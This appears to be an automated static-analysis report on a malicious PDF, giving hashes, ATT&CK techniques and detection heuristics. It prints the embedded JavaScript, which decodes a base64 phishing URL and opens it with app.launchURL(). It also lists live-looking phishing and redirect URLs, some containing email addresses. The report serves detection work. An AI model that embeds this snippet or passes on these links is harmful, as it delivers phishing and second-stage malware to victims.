Malicious PDF — malware analysis report

Static analysis result for SHA-256 52b4a5618edbcd7c…

MALICIOUS

PDF

3.2 KB Authoring application: pypdf First seen: 2026-06-08
MD5: 63c8f25f0dbac0f1a60ac63a4e79c009 SHA-1: f844ffbb5131be2a70f9510c3bec33950398bc45 SHA-256: 52b4a5618edbcd7c2173c09cdb62fb862108cbd5b5502fcb6aa175db05b835fe
60 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 JavaScript T1566.001 Spearphishing Attachment

The PDF file contains JavaScript that decodes and executes a URL. The decoded URL is 'https://i6yp-ldah-cmus.amy-levy-decis-com-s-account.workers.dev/43a66b4f7ca3d353?email=target%40example.com#YW15bGRubEFaR1ZqYVhOcGIyNWxaQzVqYjIwPQ=='. This JavaScript is designed to launch a remote document or URL, likely to download a second-stage payload. The document body presents a lure of a password-protected Excel document, suggesting a spearphishing attachment delivery method.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9996

Heuristics 6

  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript opens or fetches a remote URL/document low PDF_JS_REMOTE_DOC_FETCH
    Embedded JavaScript calls app.openDoc() against a remote filesystem (cFS:'CHTTP'/'CFTP') or app.launchURL() to open an external / base64-encoded URL. This is the JS-driven remote-document / phishing-redirect technique — distinct from a /Launch file dropper. It exploits no CVE; the risk is where the URL leads.
  • External URI info PDF_URI
    PDF contains an external URL action
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://t.nypost.com/1/e/r?aqet=clk&r=4&ca=35213807&v0=rhn21600%40gmail.com&uu=65ea915e31188d84ac041994&ru=https://coacher.ro/9000/redirectuser.php#orders@bojtrans.pl Referenced by PDF JavaScript

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0011_000.js pdf-javascript-stream PDF /JS object 11 at offset 0x9F8 276 bytes
SHA-256: 3932d1b5a6b4504fb683a5ef1b9bdceba0e30aed498c07937b22364c777d6c38
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
// EDUCATIONAL DEMO - URL launch technique
var e = 'aHR0cHM6Ly9pNnlwLWxkYWgtY211cS5hbXktbGV2eS1kZWNpc2lvbmVkLWNvbS1zLWFjY291bnQud29ya2Vycy5kZXYvNDNhNjZiNGY3Y2EzZDM1Mz9lbWFpbD10YXJnZXQlNDBleGFtcGxlLmNvbSNZVzE1TG14bGRubEFaR1ZqYVhOcGIyNWxaQzVqYjIwPQ==';
app.launchURL(atob(e));

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